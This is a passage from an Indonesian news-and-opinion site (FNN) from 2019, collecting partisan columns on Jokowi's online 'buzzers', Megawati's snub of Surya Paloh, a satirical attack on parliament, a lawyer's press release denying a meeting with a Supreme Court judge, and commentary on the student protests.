informasi yang masif dari para pendengung yang saling menggaungkan pesan, para pendukung Jokowi yang tidak melakukan verifikasi ikut-ikutan mendukung sikap tersebut dan menghujat mereka yang berbeda pandangan. Para pendengung agaknya punya hubungan kuat dengan penguasa dan aparat negara. Mereka bisa dengan mudah mendapatkan profil pihak yang dianggap sebagai lawan, seperti kartu tanda penduduk, nomor telepon, bahkan jenis telepon seluler yang digunakan. Presiden Jokowi harus segera menertibkan para buzzer – yang sulit dipercaya keberadaannya tidak Presiden ketahui jika bukan dia kendalikan. Tanpa mereka pun, Jokowi sebenarnya tak perlu khawatir terhadap berbagai serangan di media sosial. Tempo News Room @tempo: Tingkah buzzer pendukung Presiden Joko Widodo makin lama makin membahayakan demokrasi di negeri ini. Berbagai kabar bohong mereka sebarkan dan gaungkan di media sosial untuk mempengaruhi opini dan sikap publik. Siapa Mereka Dari catatan Seword.com diketahui siapa saja yang selama ini disebut-sebut menjadi buzzer Presiden Jokowi. Dalam lima kali Debat Capres-Cawapres, “Lima kali pula kami berkumpul untuk nonton bersama. Membuat konten secara spontan, merespon setiap pernyataan.” Nama-nama yang disebut Seword antara lain: Yusuf Muhammad, Denny Siregar, Abu Janda, Aldi El Kaezzar, Eko Kuntadhi, Habib Think, Salman Faris, Katakita, Info Seputar Presiden, Redaksi Indonesia, Komik Kita, Komik Pinggiran, dan Sewordcom. Ada pula nama mantan wartawan KOMPAS yang kini menjadi owner beberapa situs online. “Semua datang dari berbagai daerah memenuhi panggilan Kakak Pembina,” tulis Seword. Kakak Pembina yang dimaksud adalah seorang pejabat Istana. “Tim ini memang tidak terlihat. Selain Kakak Pembina dan Presiden, tak ada yang benar-benar tahu komposisi tim ini,” ungkap Seword. Didukung oleh tim desain, tim video, dan tim narasi, video, meme, serta artikel diproduksi secara cepat. “Hanya butuh sekian detik bagi kami untuk meng-upload video-video debat. Hanya butuh sekian menit untuk mengedit dan menghasilkan konten. Apalagi meme, segmen debat belum berakhir, meme sudah kita upload,” tulis Seword, Kamis (02 Mei 19 pukul 07: 36). Seperti halnya Averngers, setiap orang saling menjaga, menahan diri untuk tidak mengambil gambar. “Tapi saya pikir momen ini sayang untuk tidak dibagikan dan diceritakan,” ungkap Seword yang mengabadikan pertemuan saat Debat Capres-Cawapres itu. Jika menyimak jejak digital beberapa nama yang disebut di atas, seperti Denny Siregar, yang dikenal “kebal hukum” dan nyaris tidak pernah tersentuh hukum, meski beberapa kali Denny dilaporkan ke polisi. Tapi, hingga kini masih tetap aman-aman saja. Termasuk ketika Denny dengan tenangnya menyebar “berita salah” terkait ambulan Pemprov DKI Jakarta yang ternyata sudah diklarifikasi polisi sendiri. Mungkin itulah yang dimaksud Tempo dengan buzzer Jokowi membahayakan demokrasi! *

Kantor Redaksi FNN

Sesuai permintaan Dewan Pers berkaitan dengan verifikasi media online Forum News Network, berikut ini kami sampaikan foto-foto: Tampak dari luar kantor FNN Ruang Tamu Resepsionist Ruang Kerja Ruang Rapat Peralatan Kerja [caption id="attachment_6069" align="alignleft" width="478"] Kantor FNN tampak dari depan[/caption] [caption id="attachment_6071" align="alignnone" width="737"] Ruang Kerja[/caption] [caption id="attachment_6072" align="alignnone" width="736"] Ruang Kerja[/caption] [caption id="attachment_6073" align="alignnone" width="738"] Ruang Rapat - 1[/caption] [caption id="attachment_6074" align="alignnone" width="741"] Ruang Rapat-2[/caption] [caption id="attachment_6075" align="alignnone" width="743"] Pintu Masuk Lt. 1[/caption] [caption id="attachment_6076" align="alignnone" width="737"] Ruang Tamu[/caption]

Bu Megawati Kok Gitu Amat?

Oleh Hersubeno Arief Jakarta, FNN - Video Ketua Umum PDIP Megawati mengabaikan Ketua Umum Partai Nasdem Surya Paloh viral di media sosial. Momen tersebut terjadi pada pelantikan anggota DPR RI Periode 2019-2024, Selasa (1/10) di Gedung DPR, Senayan, Jakarta. Dalam video tersebut Megawati yang mengenakan kebaya merah, berjalan melewati sejumlah undangan di barisan kursi VIP. Dia tampak semringah dan menebar senyum manis. Hatinya sedang berbunga-bunga. Selain partainya memperoleh kursi terbanyak, putrinya Puan Maharani juga dipastikan terpilih sebagai Ketua DPR RI. Video yang diambil dari tayangan langsung Kompas TV memperlihatkan Mega menyalami seseorang di barisan depan. Barisan kedua duduk secara berjajar Komandan Kogasma Partai Demokrat Agus Harimurti Yudhoyono, Plt Ketua DPD Partai Golkar DKI Rizal Mallarangeng, dan Surya Paloh. Ketiganya langsung berdiri bersiap menyambut. Mega menyalami Rizal, tapi lewat begitu saja di depan Surya Paloh. Dia kemudian menyalami capres terpilih Ma’ruf Amin, dan kemudian menyalami Plt Ketua Umum PPP Soeharso Manoarfa. Sebenarnya bukan hanya Surya Paloh yang dikacangin oleh Megawati. Agus Harimurti yang duduk di sebelah kiri Rizal lebih dulu berdiri sambil menangkupkan kedua tangan dan membungkuk. Melihat Rizal disalami Mega, Agus kemudian mencoba menjulurkan tangan untuk bersalaman. Tapi Mega cuek saja. Agus jadi salah tingkah. Namun dia segera menguasai keadaan. Dia kemudian kembali menangkupkan kedua tangannya dan duduk. Hanya saja dalam frame kamera, wajah Agus tak terlihat. Jadi tidak terlalu mencolok. Berbeda dengan Surya Paloh. Wajahnya sangat jelas tertangkap kamera. Untungnya sikapnya biasa saja. Dia tidak tampak mencoba menyalami Mega. Ketika Mega lewat didepannya, abai atas kehadirannya, Surya langsung duduk kembali. Video tersebut langsung viral. Sejumlah media memberitakannya dengan berbagai bumbu menarik. Di media sosial lebih heboh lagi. Umumnya menyayangkan mengapa masalah personal semacam itu harus ditampilkan di depan publik. Sikap Megawati ini adalah konfirmasi langsung atas rumor dan spekulasi pecah kongsinya partai pendukung Jokowi. Publik secara visual dapat menyaksikan sendiri, perpecahan partai koalisi pemerintah itu benar adanya. Bukan rumor, apalagi hoax. Selain itu publik juga jadi ngeh, bahwa hubungan Megawati dengan mantan Presiden Susilo Bambang Yudhoyono (SBY) belum, atau tepatnya tidak akan pulih. Entah sampai kapan. Padahal Hari raya Idul Fitri lalu Agus dan adiknya Eddie Baskoro sempat sowan dan selfi bersama Puan dan Mega. Surya Paloh kini bernasib sama dengan SBY. Dijothakin, dinengke, ora diaruh-aruhi, kata orang Jawa. Dimusuhi, didiamkan, tidak ditegur dan disapa Megawati. Entah sampai kapan? Kalau belajar dari kasus SBY, setidaknya sudah berlangsung selama 15 tahun. Dimulai ketika Pilpres 2004. SBY dianggap berkhianat. Sebagai Menkopolkam pada kabinet Megawati, SBY saat itu mengaku tidak akan maju dalam pilpres bersaing melawan Megawati. Ternyata SBY berpasangan dengan Jusuf Kalla menantang Megawati dan menang. Sejak itu hubungan keduanya menjadi patah arang. SBY mengaku berkali-kali minta bertemu Megawati, tapi tak ada tanggapan. Mega benar-benar memutus tali silaturahmi. Selama dua periode SBY menjadi Presiden, Megawati menolak hadir dalam acara-acara penting di istana, termasuk pada peringatan HUT Kemerdekaan RI. (Pecah Kongsi Koalisi) Bahasa tubuh (gesture) Megawati itu tidak bisa dianggap sepele. Tidak bisa direduksi hanya menjadi persoalan personal. Apalagi kemudian disederhanakan dengan nada bercanda “Ah perempuan kan biasa ngambekan. Nanti juga akan baik sendiri.” Megawati adalah penguasa partai pemenang pemilu. Dalam koalisi pemerintahan Jokowi-Ma’ruf, PDIP adalah pemilik saham terbesar. Ditambah status Jokowi sebagai petugas partai PDIP, maka Megawati bisa disebut sebagai penguasa sesungguhnya di negeri ini. Mood personal, maupun mood politiknya sangat menentukan. Sikap Megawati kian membuka mata publik, diam-diam ada bara dalam sekam, bahkan bom waktu yang setiap saat bisa meledak di dalam koalisi pemerintah. Padahal dengan menumpuknya berbagai persoalan yang kini tengah dan akan dihadapi Jokowi, diperlukan soliditas pada timnya. Andai kata kabinet kompak pun, publik bertanya-tanya: Apakah Jokowi-Ma’ruf bisa menanganinya? Secara eksternal Jokowi-Ma’ruf menghadapi situasi perekonomian dan keuangan negara yang mengkhawatirkan. Beberapa ekonom memprediksi Indonesia akan kembali mengalami krisis ekonomi pada pertengahan tahun 2020. Indonesia tengah dibayang-bayangi ancaman disintegrasi akibat pergolakan di Papua. Tingkat kepercayaan publik terhadap pemerintah anjlok. Harga kebutuhan bahan pokok terus melonjak. Tarif listrik dan BBM terus naik. Kisruh penanganan defisit BPJS. Kedodoran dalam penanganan kebakaran hutan di sejumlah provinsi, dan gelombang aksi unjukrasa mahasiswa dan pelajar di berbagai kota di Indonesia. Jokowi memerlukan tim yang kuat dan super kompak untuk mengatasi berbagai persoalan yang menghadang. Kalau diantara para pendukungnya saja sudah tidak kompak, saling curiga, saling ngotot berebut posisi penting dan basah di kabinet. Apa kata dunia!? Mega-mega biasanya mulai menyingkir, ketika surya mulai bersinar terik. Dalam politik Indonesia, kaidah alam itu ternyata tidak berlaku. End

Selamat Bekerja untuk Dewan Penipu Rakyat (DPR)

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Ini terjadi di negara yang bernama Edanesia. Selama lima tahun mendatang, yang akan menipu rakyatnya buka hanya para penguasa eksekutif. Bukan hanya para piniko dan induk pinokio. Gerombolan penipu rakyat akan bertambah lagi. Tambahannya tidak sedikit. 500-an orang. Para penipu itu sudah dilantik belum lama ini. Dan sudah bagi-bagi jabatan penting dan setengah penting di lingkungan Dewan Penipu Rakyat yang disingkat DPR. Mohon maaf, singkatan ini sama dengan singkatan untuk Dewan Perwakilan Rakyat di Indonesia yang juga disebut DPR. Kesamaan ini hanya kebetulan saja. Sekali lagi, tulisan ini bercerita tentang DPR di negara Edanesia. Tak jauh dari Indonesia. Ketua dewan penipu adalah salah satu dari keturunan penipu besar di Edanesia. Para pimpinan lain juga penipu-penipu kawakan. Memang ada beberapa orang penipu pemula. Yaitu, mereka yang baru terpilih pertama kali. Tapi, dalam beberapa bulan saja mereka akan berubah menjadi penipu handal. Akan ada berbagai sesi pembekalan materi penipuan rakyat untuk semua anggota Dewan. Edanesia memang dihuni oleh para politsi penipu. Mereka menipu untuk segala hal. Menipu ketika menguraikan janji-janji kampanye pemilihan umum. Menipu dalam mendapatkan suara pemilih. Dan menipu pula ketika menghitung perolehan suara mereka. Bahkan, sesama calon anggota Dewan pun lumrah saling menipu. Perlu pula ditegaskan bahwa penipuan adalah profesi yang paling digemari di Edanesia. Semua yang menjadi tugas dan wewenang DPR akan dikerjakan dengan cara, atau melalui proses, penipuan. Sebut saja penyusunan anggaran kementerian, ketuk palu untuk undang-undang yang menguntungkan para penipu dari dunia usaha, sampai ke persetujuan proyek-proyek raksasa di seluruh Edanesia. Dan termasuk pula penetapan para pejabat penting lembaga negara Edanesia seperti komisaris, komisioner, direktur utama, dlsb. Sebagai lembaga yang berlandaskan asas penipuan, DPR Edanesia harus selalu menjaga agar indeks penipuan mereka selalu tinggi. Indeks penipuan itu perlu dipertahankan tetap tinggi supaya mereka boleh terus memakai kata “penipu” di nama lembaganya. Kalau DPR Edanesia gagal mempertahankan indeks penipuan, maka secara otomatis nama lembaga itu akan berubah menjadi Dewan Perwakilan Rakyat. Karena dianggap tidak lagi menipu rakyat. Dalam arti, sebuah lembaga akan disebut Dewan Perwakilan Rakyat jika indeks penipuannya rendah sekali atau nihil. [02 Oktober 2019)

Ahmad Yani Bantah Bertemu Hakim Agung Syamsul Chaniago

Jakarta, FNN - Sehubungan dengan pemberitaan yang termuat di berbagai media massa, baik media cetak, maupun online, sejak Minggu 29 September 2019 hingga saat ini, ikhwal adanya kontak hubungan, antara antara saya Dr. Ahmad Yani SH. MH dengan Hakim Agung Syamsul Rakan Chaniago yang memeriksa, mengadili, dan memutuskan perkara BLBI atas nama terdakwa Syafruddin Arsyad Temenggung pada tingkat kasasi di Cafe Segafredo di dalam Mall Plaza Indonesia pada tanggal 28 Juni 2019, antara pukul 17.38- 18.30 WIB, maka perkenankan saya menyampaikan sebagai berikut : Pertama, bahwa saya nyatakan tidak ada sama sekali kontak hubungan yang saya lakukan dengan Hakim Agung Syamsul Rakan Chaniago, terkait dengan perkara pada tingkat kasasi dalam kasus BLBI yang menjerat Syafruddin Arsyad Temenggung. Saya mempertegas bahwa di dalam berbagai pemberitaan yang ada, terkesan seolah-olah muncul pra-kondisi yang mengkaitkan adanya kontak hubungan di antara saya dengan Syamsul Rakan Chaniago, yang dihubungkan dengan perkara kasus BLBI atas nama terdakwa Syafruddin Arsyad Temenggung. Kedua, patut saya jelaskan dan pertegas bahwa tidak ada pertemuan yang terjadi di antara saya dengan Syamsul Rakan Chaniago. Terkesan pertemuan tersebut terjadi atas inisiasi atau perencanaan terlebih dahulu. Saya mengklarifikasi bahwa keadaan yang sebenarnya ialah saya pada waktu tersebut, yaitu pada tanggal 28 Juni 2019 sekitar pukul 17.38 - 18.30 WIB, berada di Cafe Segafredo Mall Plaza Indonesia. Keberadaan saya di tempat tersebut dalam agenda melakukan wawancara interaktif dengan para teman–teman wartawan (journalist). Ketika saya tiba di Cafe Segafredo, Hakim Agung Syamsul Rakan Chaniago juga sedang atau sudah lebih dulu berada di dalam cafe tersebut. Dan akhirnya, saya bertegur sapa secara on the spot pada momen tersebut dengan Syamsul Rakan Chaniago. Perlu diketahui bahwa sejatinya momen sebagaimana dimaksud, terjadi di tempat keramaian atau termpat terbuka. Karena di tempat terbuka, maka dapat diekspose oleh siapapun. Apalagi pertemuan bukan di tempat yang tertutup (privat). Ketika itu, justru terdapat teman-teman media wartawan (journalist), yang akan berdiskusi dan bertemu dengan saya di Cafe Segafredo tersebut. Ketiga, bahwa adapun kronologis pertemuan sebagaimana dimaksud ialah terjadi dalam kurun waktu menjelang ibadah sholat magrib (sore hari), dimana maksud dan tujuan saya datang ke Cafe Segafredo Mall Plaza Indonesia tersebut ialah untuk menemui teman-teman wartawan (journalist) yang memang sudah membuat janji (via handphone) terlebih dahulu dengan saya. Teman-teman wartawan ingin minta keterangan atau pendapat saya ikhwal proses sengketa pilpres di MK, yang banyak berbicara tentang peran dan fungsi MK dalam menangani sengketa pilpres. Oleh karenanya, begitu saya tiba di Cafe Segafredo tersebut, secara tidak sengaja bertemu dengan Syamsul Rakan Chaniago, tanpa ada appoinment sebelumnya. Setelah bertegur sapa sebentar, akhirnya waktu ibadah magrib tiba, sehingga kami beramai ramai bersama menunaikan ibadah magrib di mushola Mall Plaza Indonesia. Setelah selesai sholat maghrib, kami kembali lagi ke Cafe Segafredo untuk melanjutkan pertemuan dengan teman-teman wartawan. Saya tidak hanya terfokus kepada Syamsul Rakan Chaniago, namun saya berpindah-pindah ke tempat duduk yang lain. Sebab keadaan waktu itu ramai atau terbuka untuk umum. Pada saat di Cafe Segafredo, saya memang fokus berdiskusi interaktif dengan teman-teman jurnalis media yang sudah membuat janji untuk mewawancarai saya. Keempat, perlu diklarifikasi dan patut menjadi catatan bahwa di dalam moment yang tidak disengaja tersebut tidak ada sama sekali membicarakan ikhwal perkara BLBI atas nama terdakwa Syafruddin Arsyad Temenggung. Bahkan saya tidak mengetahui sama sekali jikalau Syamsul Rakan Chaniago merupakan salah satu hakim dalam majelis pada tingkat kasasi yang memeriksa/mengadili/memutus perkara kasasi BLBI atas nama terdakwa Syafruddin Arsyad Temenggung. Adapun materi pembicaraan singkat yang terjadi, yang berlangsung secara informal. Pembicaraan hanya terkait dengan berbagai isu di dalam pelaksanaan pemilihan Presiden dan Wakil Presiden tahun 2019 yang lalu. Juga terkait proses pencalegan saya pribadi sebagai Caleg DPR dari Partai Bulan Bintang. Kelima, perlu juga untuk diklarifikasi bahwa status dan posisi saya yang dalam kurun waktu pertemuan tersebut berlangsung, dimana ketika itu saya sudah tidak ikut terlibat secara aktif dan partisipatif di dalam Tim Kuasa Hukum Syafruddin Arsyad Temenggung, khususnya pada saat pengajuan upaya hukum Kasasi ke Mahkamah Agung. Sedari awal pengajuan upaya hukum kasasi tersebut, saya memang sudah memohon izin (pamit), baik kepada tim kuasa hukum dan khususnya kepada Syafruddin Arsyad Temenggung. Saya tidak lagi terlibat lebih jauh di dalam proses pengajuan upaya hukum kasasi, karena pada kurun waktu yang bersamaan, saya sedang memprioritaskan proses pencalegan saya yang mencalonkan diri sebagai calon anggota legislatif dari Partai Bulan Bintang untuk daerah pemilihan DKI Jakarta I periode 2019 - 2024. Berkaitan dengan itu, sedari awal pengajuan upaya hukum kasasi, saya sudah tidak pernah lagi mengikuti rapat-rapat tim kuasa hukum Syarifuddin Arsyad Tumenggung dan atau pertemuan terkait dengan penyusunanpengajuan memori kasasi. Keenam, bahwa sedari awal polemik ini muncul, saya sama sekali tidak pernah diklarifikasi. Oleh karenanya, saya sangat merasa berkeberatan dengan 'simpang siurnya' pemberitaan yang menyudutkan nama baik saya. Kenyataan ini ditambah dengan 'penggiringan opini' yang juga telah dapat dilihat sebagai 'character assassination' terhadap pribadi saya. Perlu saya pertegas kembali bahwa saya secara prinsip sangat mendukung upaya pengusutan kasus BLBI secara tuntas dan menyeluruh. Demikianlah press release ini dibuat sebagai bentuk klarifikasi dengan harapan dapat menjelaskan keadaan, peristiwa yang sesungguhnya terjadi, sehingga dapat meluruskan 'simpang siurnya' pemberitaan yang muncul. Atas perhatian dan atensi-nya saya ucapkan terima kasih.

Wapres JK Jadi Kunci Nasib Jokowi!

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Siapa diuntungkan dari gejolak yang terjadi di Indonesia akhir-akhir ini? Jika melihat rekam jejak pengalaman penyelesaian konflik yang terjadi selama ini, adalah Wapres Jusuf Kalla! Itu jika Presiden Joko Widodo tidak mampu menyelesaikan. Upaya Presiden Jokowi agar mahasiswa menghentikan aksi demonya di Jakarta dan berbagai kota di Indonesia dengan mengundang BEM-SI pun gagal. Karena, BEM-SI memberi syarat, pertemuan dilakukan secara terbuka dan disiarkan televisi. Ketika Presiden Jokowi mengajak bertemu BEM-SI, syarat yang mereka ajukan: pertemuan berlangsung secara terbuka, dan disiarkan secara langsung oleh media dan televisi nasional. Mahasiswa sudah menang besar atas Presiden Jokowi. Wartawan senior Hersubeno Arief mengibaratkan pertandingan sepakbola. Penolakan para Ketua BEM-SI bertemu dengan Presiden Jokowi di Istana, menjadikan skor sementara 3-0 untuk BEM-SI. Penolakan mahasiswa ini di luar dugaan Istana. Hingga Presiden Jokowi memutuskan menunda pembahasan RUU KUHP. Pemerintah juga memutuskan menunda pembahasan tiga RUU lainnya: RUU Pertanahan, RUU Minerba, dan RUU Lembaga Pemasyarakatan (PAS). Presiden melemah! Bahkan, Presiden Jokowi tampaknya akan memenuhi tuntutan menerbitkan Perppu UU KPK yang sudah disahkan DPR. Bahkan, Mensesneg Pratikno mengaku sudah menyiapkan draft Perppu, antisipasi jika Presiden memutuskan menerbitkannya. BEM-SI tidak mudah lagi masuk dalam “jebakan” yang sengaja diciptakan Istana. Keputusan mahasiswa menolak bertemu Presiden Jokowo di Istana dipastikan sangat mengejutkan kubu pemerintah. Mahasiswa, belajar dari pengalaman pada 2015. Ketika itu mereka diundang ke Istana secara tertutup. Hasilnya gerakan mahasiswa terpecah. Kata Koordinator Pusat BEM-SI Muhammad Nurdiansyah, “Kami belajar dari proses ini dan tidak ingin menjadi alat permainan penguasa yang sedang krisis legitimasi publik.” “Sehingga akhirnya melupakan substansi terkait beberapa tuntutan aksi yang diajukan,” ujar Nurdiansyah yang juga Presiden Mahasiswa IPB. Hersubeno menilai, para tokoh mahasiswa yang tergabung dalam BEM-SI tidak seculun yang mereka perkirakan. “Mereka ternyata sangat taktis dan strategis,” tegas Hersubeno. Tidak mudah masuk dalam jebakan Istana (palace trap). Andai saja para Ketua BEM bersedia bertemu Presiden secara tertutup, maka mereka akan di-fait accompli. Seperti dilansir fnn.co.id, tulis Hersubeno, kartu pemerintah yang sudah mati, bisa hidup lagi. Pemerintah menjanjikan akan mengeluarkan Perppu sebagaimana tuntutan mahasiswa. Dan, mereka diminta untuk menghentikan aksinya. Bila itu yang terjadi, tidak ada pilihan lain. Mahasiswa harus menghentikan aksi-aksi mereka yang mengguncang di seluruh Indonesia. Seperti pengalaman pada 2015, keputusan tersebut dipastikan akan memecah-belah gerakan mahasiswa. Sementara, terkait aksi demo mahasiswa, dua mahasiswa di Kendari dan satu mahasiswa di Makassar sudah menjadi korban (tewas) akibat tindakan kekerasan oleh aparat polisi ketika menangani aksi demo mahasiswa di daerah tersebut. Tindakan represif polisi bukannya meredam aksi mahasiswa. Di Jakarta, gerakan demo para mahasiswa ini justru diikuti oleh pelajar dari berbagai STM dan SMA Jabodetabek. Seperti kata Nurdiansyah, pemerintah saat ini sedang berada dalam situasi terpojok. Hersubeno menyebut, pemerintah sangat menyadari aksi mahasiswa dan pelajar STM-SMA sudah masuk ke rana persoalan utama: Pengunduran diri Jokowi! Pembatalan UU KPK dan RUU KUHP hanya menjadi pintu masuk. Aksi mahasiswa dan pelajar menjadi semacam alasan untuk bergerak dan beraksi (reason to act). Alasan untuk menyatukan gerakan dan menjadikan pemerintah sebagai musuh bersama. Mahasiswa sudah menyerukan dan menuntut pengunduran diri Jokowi. Jokowi saat ini tampaknya tidak punya pilihan lain. Dengan atau tidak bertemu pimpinan mahasiswa, Perppu UU KPK tampaknya akan tetap dikeluarkan. Tarik menariknya pasti tidak mudah. Buah simalakama bagi Presiden Jokowi sendiri. Apalagi, dalam krisis Provinsi Papua, Presiden Jokowi tampak tidak bisa berbuat apa-apa, sehingga menelan banyak korban dari warga pendatang tewas akibat dibantai secara kejam oleh “Orang Asli Papua” (OAP). Terutama di Wamena. Setidaknya, kerusuhan di Kabupaten Jaya Wijaya, Senin (23/9/2019), itu sudah menelan 32 orang korban tewas warga pendatang dari Minang dan Bugis. Bahkan, seorang dokter senior menjadi korban, tubuhnya disiram bensin dan dibakar. Ratusan warga pendatang pun mengungsi dan meminta agar mereka segera dipulangkan ke daerah masing-masing. Karena, kondisi di Wamena sudah tidak kondusif lagi. Jaminan atas keselamatan dan nyawa pendatang terkesan tak ada lagi. Meski terjadi aksi demo di mana-mana dan kerusuhan di bumi Cendrawasih, Presiden Jokowi terkesan tenang-tenang saja, seolah tidak pernah terjadi apa-apa. Makanya, acara naik sepeda sembari momong cucunya pun masih bisa dilakukannya. Jokowi seolah tidak peduli dengan nasib demonstran yang “diburu” polisi dan pendatang di Wamena yang dikejar-kejar dan diusir hingga dibunuh oleh OAP, meski ternyata masih ada OAP yang justru menyelamatkan sebagian pendatang. Jusuf Kalla Masih berlanjutnya berbagai aksi demo di berbagai daerah yang semakin marak maupun di Jakarta sendiri yang tanpa henti, menunjukkan “ketidakmampuan” Presiden Jokowi dalam menghadapi tuntutan mahasiswa dan rakyatnya sendiri. Apalagi, kerusuhan berdarah di Wamena berpotensi menjadi konflik horizontal bernuansa SARA. Penanganan krisis di Provinsi Papua dan Papua Barat itu harus dilakukan dengan pendekatan kemanusiaan, cinta dan kasih sayang. Itu dinyatakan oleh Wakil Ketua Komisi II DPR Mardani Ali Sera. Sebab, bagaimanapun Papua adalah wilayah NKRI. “Jangan pernah gunakan pendekatan kekerasan. Ingat Papua adalah merah putih,” ujar Mardani kepada wartawan, Jumat (30/8/2019). Ketua DPP Partai Keadilan Sejahtera (PKS) itu mengharapkan agar Presiden Jokowi segera membentuk satuan tugas (Satgas) khusus Krisis Papua. Komandonya ada di tangan Wapres Jusuf Kalla (JK) yang pengalaman dalam mengatasi konflik di tanah air. Sebab kerusuhan yang saat ini terjadi di Papua tidak boleh dibiarkan berlama-lama. “Saya mendesak Pemerintah membentuk Satgas khusus yang dipimpin langsung oleh Bapak Wakil Presiden Jusuf Kalla,” katanya, seperti dilansir JawaPos.com. Satgas Krisis Papua bisa melakukan dialog langsung kepada aktor-aktor yang menyulut krisis ini melalui pendekatan humanistik. “Karena itu kita serahkan Wapres JK yang sudah punya pengalaman menyelesaikan masalah konflik di Aceh,” paparnya. JK, sosok penting di balik penanganan tiga konflik besar di Tanah Air, beberapa tahun silam. Yakni kerusuhan sosial di Ambon (Maluku), Poso (Sulawesi Tengah), dan konflik bersenjata berkepanjangan di Provinsi Nanggroe Aceh Darussalam. Krisis politik dan sosial yang sedang terjadi di Indonesia sekarang ini berpotensi “jatuhnya” Presiden Jokowi. Apalagi, tuntutan dari massa aksi mahasiswa maupun rakyat sudah pada tuntutan “Jokowi Mundur”. Dan, tuntutan ini semakin meluas. Sehingga nasib Jokowi kini ada di tangan Wapres JK. Jika Jokowi “jatuh” seperti peristiwa Presiden Soeharto (1998) dan Presiden Abdurrahman Wahid (2001), maka Wapres JK akan menggantikannya dan menyatakan negara dalam “kondisi darurat”. Dengan pernyataan tersebut, JK dapat menerbitkan Perppu yang mengarah pada perbaikan-perbaikan penanganan kondisi negara yang sedang memasuki fase force majeur. Perppu itu nantinya dapat dipastikan berjumlah lebih dari satu. Yang paling utama adalah membekukan kabinet dan membentuk kabinet baru; mengadakan rangkaian pemilu yang bersih dalam jangka waktu tertentu (6 bulan) sekaligus membekukan komisioner/pimpinan dan anggota sejumlah lembaga negara; Juga, sejumlah produk hukum lainnya dalam kerangka penataan pemerintahan di masa-masa transisi tersebut. Jika memang demikian yang terjadi, maka dapat dikatakan JK benar-benar dapat menjadi kunci perjalanan sejarah Indonesia di era kini. Dan saat ini, JK menjadi kunci bagi nasib Jokowi pada akhir periode I.

Aksi Mahasiswa dan Anak STM Akan Berlarut Seperti Hongkong?

Oleh Hersubeno Arief Jakarta, FNN - Akankah aksi unjukrasa di Indonesia berlarut seperti aksi massa di Hongkong? Pertanyaan tersebut mencuat, menyusul sejumlah cuitan demonstan di Hongkong. Mereka menyatakan dukungan terhadap pengunjukrasa di Indonesia. Di media sosial beredar foto-foto dukungan mereka tertempel di Tembok Lennon (Lennon Wall). Tembok berisi ribuan pesan kertas post it itu merupakan simbol pergerakan demonstran Hongkong. Salah satunya bertuliskan: Support Indonesian Protesters. Dukung para pemrotes di Indonesia. Akun @alexhker menggunggah dua burung-burungan kertas, salah satunya berwarna merah putih dengan pesan: Hongkong is standing with Indonesia. @AJEnglish Before injustice, we stand as one! Stay strong, Indonesia Tanda-tanda bahwa unjukrasa di Indonesia akan berlarut seperti di Hongkong, sudah mulai nampak. Pesan video seorang mahasiswa kepada Presiden Jokowi dan anggota DPR, viral di medsos. Anak muda yang mengenakan jaket hijau army, dengan topi dan polesan odol di bawah mata, menyatakan aksi mereka ini hanyalah awal. Mereka tidak akan menyerah dan melakukan perlawanan lebih keras. “Selain melakukan judicial review, kami akan terus turun ke jalan,” tegasnya. Video itu tampaknya diambil tak jauh dari Gedung DPR RI saat berlangsung unjukrasa Senin (30/9). Sangat mirip Faktor penyebab dan ciri-ciri unjukrasa di Indonesia memang mirip dengan Hongkong. Bedanya skalanya lebih besar dan massif. Terjadi di hampir seluruh kota di Indonesia. Aksi protes di Hongkong saat ini sudah memasuki pekan ke 14. Dipicu pemberlakuan UU ekstradisi oleh otoritas Hongkong. Di bawah UU itu seorang pelaku kejahatan di Hongkong bisa diekstradisi ke Cina daratan. Tak ada tanda-tanda aksi protes akan berhenti, kendati otoritas Hongkong telah membatalkan UU tersebut. Laman Financial Times (23/7) dalam artikel berjudul: Why Hong Kong’s protesting youth are so angry menyebut, isu UU ekstradisi hanya kendaraan bagi berbagai persoalan lain. Masa depan Hongkong yang akan bersatu dengan Cina daratan, membuat anak muda frustrasi dan penuh tanda tanya. Kemarahan pada sistem politik yang rusak; kurangnya peluang ekonomi; dan meningkatnya ketidakpercayaan terhadap daratan Cina. Negara yang secara teknis bagian dari model “satu negara, dengan dua sistem”. Rasa frustrasi itu telah terbangun sejak gerakan protes 2014. Ketika itu puluhan ribu pemuda Hongkong berkemah di jalan-jalan. Mereka menekan Beijing untuk sepenuhnya menjalankan pemilu yang demokratis di Hongkong. Protes itu dihancurkan. Pemimpin Hongkong memenjarakan para pemimpin gerakan. Menekan kebebasan, menghalangi politisi oposisi untuk bertarung dalam pemilu, dan mendiskualifikasi anggota parlemen pro-demokrasi terpilih karena dicurigai tidak loyal kepada Cina. Analis politik Sonny Lo mengatakan, otoritas Hongkong gagal memahami dan mengelola kebencian yang membara. “Mereka gagal sepenuhnya sebagai lembaga yang seharusnya menjembatani kesenjangan komunikasi antara elit yang berkuasa dan rakyat biasa," ujarnya. "Orang-orang muda sangat tidak puas dengan sistem - mereka merasa tidak adil. Tidak memiliki masa depan,” ujar Anthony Cheung, seorang profesor di Universitas Hongkong. Di Indonesia unjukrasa juga dipicu oleh pengesahan UU KPK dan terpilihnya pimpinan KPK yang baru. Mahasiswa turun ke jalan. Isunya cukup beragam. Mulai dari RUU KUHP, RUU Pemasyarakatan, RUU Minerba, dan Pertanahan. Juga ada RUU Penghapusan Kekerasan Sesksual (PKS) dan RUU Ketenagakerjaan. Pemerintah memutuskan untuk menunda pengesahan lima RUU tersebut. Jokowi setelah bertemu sejumlah tokoh, juga tengah mempertimbangkan untuk membatalkan UU KPK. Sebagai gantinya menerbitkan Perppu. Namun keputusan menerbitkan Perppu itu mendapat perlawanan partai-partai pengusung Jokowi, terutama dari PDIP. Undangan Jokowi untuk bertemu mahasiswa di istana ditolak. Andaikata Jokowi menerbitkan Perppu pun, tampaknya tak akan meredakan aksi turun ke jalan. Sudah terlambat! Mahasiswa sudah terlanjur marah terhadap perlakuan aparat kepolisian. Tewasnya beberapa orang pengunjukrasa di Kendari, Makassar, dan Jakarta membuat mereka sampai pada kesimpulan: Pemerintahan Jokowi adalah pemerintahan dzalim. “Pemerintahan yang melindungi dan menafkahi para koruptor,” seperti dikatakan mahasiswa berjaket hijau tadi. Bila selama ini mahasiswa menjaga jarak dengan proses kontestasi kekuasaan, kini mereka bersentuhan, bahkan berhadapan langsung dengan kekuasaan. Perlakuan brutal dari aparat kepolisian ketika mengamankan aksi unjukrasa, membuat mereka tersadar. Ada yang salah dengan rezim ini dalam mengelola negara. Situasinya kian pelik karena pelajar, terutama anak-anak STM ikut turun ke jalan. 